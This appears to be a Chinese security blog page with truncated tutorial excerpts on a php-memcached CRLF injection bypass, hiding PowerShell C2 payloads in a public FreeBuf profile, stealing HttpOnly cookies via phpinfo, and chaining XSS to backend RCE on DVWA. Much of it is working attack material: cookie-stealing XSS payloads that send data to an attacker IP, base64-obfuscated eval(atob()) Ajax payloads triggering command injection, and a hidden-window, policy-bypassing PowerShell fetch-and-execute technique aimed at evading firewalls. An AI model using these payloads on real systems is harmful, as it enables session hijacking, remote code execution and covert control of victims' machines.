php-memcached CRLF绕过

简介 在正式讲解前,我们先简单了解下CRLF注入漏洞。 在HTTP报文中,状态行和首部中的每行以CRLF结束,首部与主体之间由一空行分隔。而CRLF漏洞的产生则是因为Web应用没有对用户输入做严格验证,导致攻击者可以输入一些恶意字符串,攻击者一旦成功注入CRLF,就会在响应中输入,所以也称为HTTP响应拆分漏洞。 在CRLF中,“CR”意为回车(例:r、%0D),“LF”意为换行符(例:n、%0A)。在Windows系统中,CRLF表示行的结束;Linux则以LF表示行的结束。 一般来说更多是将CRLF用于会话固定漏洞、XSS漏洞和窃取cookie等,但是CRLF注入漏洞也可以利用在Web应用程序中。 漏洞环境 Memcached是一个开源、高性能的分布式内存对象缓存系统。 影响版本: V2.2.0及以下版本 在早些时候Memcached也爆发过CRLF注入,而本次绕过则是根据之前爆发过的CRLF注入而产生的1Day漏洞,因为是1Day所以直接下最新版即可。 我们使用Kali Linux环境,编写以下代码文件,并放到网页目录下。 <?php $server = new Memcached(); $server->addServer('localhost', 11211); $token = $_GET['token']; $server->set("wolf","poc") ; echo "[token] = "; var_dump($server->get("$token")); echo "[wolf] = "; var_dump($server->get("wolf")); 在Kali Linux终端输入命令: apt-get install memcached 安装Memcached后,输入以下命令: service memcached start //开启Memcached服务 netstat -ntlp //查看服务是否开启 看到11211端口为监听状态则代表Memcached服务正常开启,然后只需要配置php环境重启Apache2即可。 基础命令 在搭建好漏洞环境后,我们先简单了解下Memcached的命令,会更加方便后续的漏洞利用。 set命令 Memcached的set命令用于将value存储在指定的key中,如果key已存在则会更新key值。 基本语法如下: set key…

使用合法网站制作C2

简介 对于攻击者而言,隐藏自己的C2是重中之重,以往都是使用合法的应用API创建自己的C2,不过我们也可以将payload托管在合法的网站上,这样在受害者主机上的通信可能会绕过防火墙。 该方法最早提出者已经无法溯源了,偶然看到null-byte网站提了一嘴,不过并没有将其用作C2,而是将其用作下载文件,C2是笔者在N年前研究的方法,可能对于现在的网络环境还能有点用。 构造Payload 以Freebuf为例,我们首先构造一条PowerShell命令: powershell -ep bypass /w 1 /C New-Item -ItemType file 'C:Users\$env:USERNAMEDocumentsthatgood' 该条PowerShell语句会使用-ep选项绕过策略,并使用/w选项隐藏窗口,使用New-Item创建一个位于用户文档下的文件。 然后我们最好将该条PowerShell语句进行Base64编码,防止检测到特殊字符: printf '%s' "powershell -ep bypass /w 1 /C New-Item -ItemType file 'C:Users\$env:USERNAMEDocumentsthatgood'" | base64 | tr -d 'n' cG93ZXJzaGVsbCAtZXAgYnlwYXNzIC93IDEgL0MgTmV3LUl0ZW0gLUl0ZW1UeXBlIGZpbGUgJ0M6XFVzZXJzXCRlbnY6VVNFUk5BTUVcRG9jdW1lbnRzXHRoYXRnb29kJw== 最好复制一下Base64编码字符串来验证一下。 然后我们将该串Base64字符串修改到Freebuf能公开访问的页面,比如用户公开的简介中,然后用START和END包裹,用来匹配该条payload。 使用无痕模式查看是否能公开查看,以及是否能显示所有字符串。 然后我们通过在受害者主机执行PowerShell语句即可执行新建文件的操作: $wro = iwr -Uri https://www.freebuf.com/author/Snow%E7%8B%BC%E5%95%8A -UseBasicParsing; //使用Invoke-WebRequest获取指定网页并基本解析 $r = [Regex]::new("(?<=START)(.*)(?=END)"); //使用正则表达式匹配payload $m = $r.Match($wro.rawcontent); //将匹配到的payload定义一个变量…

HttpOnly绕过

简介 在防御XSS漏洞时,目标会启用HttpOnly标志以降低cookie被窃取的风险,常见的绕过方法有TRACE请求、响应中获取cookie、构建Ajax请求(前端漏洞触发后端RCE),今天介绍的是另一种方法。 部署 在开始前,我们先来做个对比实验。   Kali Linux IP:192.168.64.129   DVWA:192.168.64.132   先将DVWA靶机设置为low状态。 在XSS反射型漏洞页面输入payload: <script>alert(document.cookie)</script> 查看获取到的cookie,可以看到能够获取到PHPSESSID。  我们可以通过浏览器自带的”应用”功能来修改目标状态为开启了HttpOnly。 再次输入获取cookie的payload,即可看到不会显示PHPSESSID了,这就是HttpOnly的功劳。 绕过   既然对方开启了HttpOnly,那么我们应该怎样绕过呢?   通过查看phpinfo文件,我们可以很轻松的看到显示的cookie内容,通过对比可以发现cookie是一致的。 那么我们是否可以通过js构造请求,使其将phpinfo文件中的cookie窃取并发送到攻击者的主机上呢?   答案是可以的,在Kali Linux主机中输入命令开启接收 python3 -m http.server 80 我们先构造一个常用窃取cookie语句: <script>var i=new Image;i.src="http://192.168.240.129/"+btoa(document.cookie);</script>  执行后,Kali Linux会话会收到接收的cookie  此时并没有获取到PHPSESSID,我们需要构造一个超长payload字符串: <script> fetch('http://ip/phpinfo') .then(response => response.text()) .then(data => { // 开始字符串和结束字符串,用于过滤HTML内容 const startString = '<tr><td class="e">HTTP_COOKIE </td><td class="v">'; const…

前端漏洞触发后端RCE

简介 在实际渗透测试中,经常碰到目标使用的CMS带有后台RCE漏洞,导致无法利用,但是后端RCE漏洞也可以通过目标的前端漏洞进行触发。 XSS 我们先以XSS漏洞进行触发后端RCE,该实验以DVWA靶机进行演示。在DVWA靶机的命令注入部分尝试注入命令: 1;ls 通过Burp可以查看到命令注入的请求包是POST类型 假设目标不是DVWA靶机,而是实际环境,且目标恰好有XSS漏洞,那么就可以通过构造XSS来引诱目标管理员触发RCE。编写代码创建一个简单的带有XSS漏洞的网页,php.php: <?php highlight_file(__FILE__); $id = $_GET['id']; echo ($id); ?> 既然有XSS漏洞了,那么怎么触发RCE请求呢?我们可以使用Ajax构造请求,如果目标没有jQuery,怎么触发Ajax请求呢?我们可以使用script标签包裹一个jQuery: <script type="text/javascript" src="http://code.jquery.com/jquery-1.7.2.min.js"></script> 然后我们可以通过Ajax构造请求达到触发RCE,payload: $.post('http://192.168.64.129/DVWA/vulnerabilities/exec/',function(d) { let p = $(d).contents().find('input[name="path"]').val(); $.ajax({ url:'http://192.168.64.129/DVWA/vulnerabilities/exec/', type:'POST', data:{ "ip": '1;touch 1', //执行命令 "Submit": "Submit"},}); }); 注意data内容与Burp抓取到的命令注入包内容一致。然后将该段代码进行Base64 Encode,防止特殊字符导致转义。 但是我们浏览器又不能自动解析Base64,所以的需要atob标签包裹解析该串Base64字符串,完整包裹语句: atob('JC5wb3N0KCdodHRwOi8vMTkyLjE2OC42NC4xMjkvRFZXQS92dWxuZXJhYmlsaXRpZXMvZXhlYy8nLGZ1bmN0aW9uKGQpIHsKICBsZXQgcCA9ICQoZCkuY29udGVudHMoKS5maW5kKCdpbnB1dFtuYW1lPVwicGF0aFwiXScpLnZhbCgpOwokLmFqYXgoewogIHVybDonaHR0cDovLzE5Mi4xNjguNjQuMTI5L0RWV0EvdnVsbmVyYWJpbGl0aWVzL2V4ZWMvJywKICB0eXBlOidQT1NUJywKICBkYXRhOnsKICAgICAgICJpcCI6ICcxO2xzJywKICAgICAgICJTdWJtaXQiOiAiU3VibWl0In0sfSk7Cn0pOw') 需要注意使用单引号包裹Base64字符串,使其为一个整体,以防解析错误。然后使用eval包裹执行,并注入script标签触发XSS,完整语句: <script>eval(atob('JC5wb3N0KCdodHRwOi8vMTkyLjE2OC42NC4xMjkvRFZXQS92dWxuZXJhYmlsaXRpZXMvZXhlYy8nLGZ1bmN0aW9uKGQpIHsKICBsZXQgcCA9ICQoZCkuY29udGVudHMoKS5maW5kKCdpbnB1dFtuYW1lPVwicGF0aFwiXScpLnZhbCgpOwokLmFqYXgoewogIHVybDonaHR0cDovLzE5Mi4xNjguNjQuMTI5L0RWV0EvdnVsbmVyYWJpbGl0aWVzL2V4ZWMvJywKICB0eXBlOidQT1NUJywKICBkYXRhOnsKICAgICAgICJpcCI6ICcxO2xzJywKICAgICAgICJTdWJtaXQiOiAiU3VibWl0In0sfSk7Cn0pOw'))</script> 因为目标网站可能没有jQuery(几率很小),所以整体语句为: http://IP地址/php.php?id=<script type="text/javascript" src="http://code.jquery.com/jquery-1.7.2.min.js"></script><script>eval(atob('JC5wb3N0KCdodHRwOi8vMTkyLjE2OC42NC4xMjkvRFZXQS92dWxuZXJhYmlsaXRpZXMvZXhlYy8nLGZ1bmN0aW9uKGQpIHsKICBsZXQgcCA9ICQoZCkuY29udGVudHMoKS5maW5kKCdpbnB1dFtuYW1lPVwicGF0aFwiXScpLnZhbCgpOwokLmFqYXgoewogIHVybDonaHR0cDovLzE5Mi4xNjguNjQuMTI5L0RWV0EvdnVsbmVyYWJpbGl0aWVzL2V4ZWMvJywKICB0eXBlOidQT1NUJywKICBkYXRhOnsKICAgICAgICJpcCI6ICcxO2xzJywKICAgICAgICJTdWJtaXQiOiAiU3VibWl0In0sfSk7Cn0pOw'))</script> 通过浏览器访问该地址虽然没有回显,但是我们可以通过Burp的历史请求查看到对应响应。通过Burp历史请求,我们可以看到此次触发了三个请求,分别为编号26、27和28,第一个请求则是由我们访问Url地址进行的一个GET请求: 27号请求则是通过payload跳转到DVWA的命令注入页面: $.post('http://192.168.64.129/DVWA/vulnerabilities/exec/',function(d) { let p = $(d).contents().find('input[name="path"]').val();…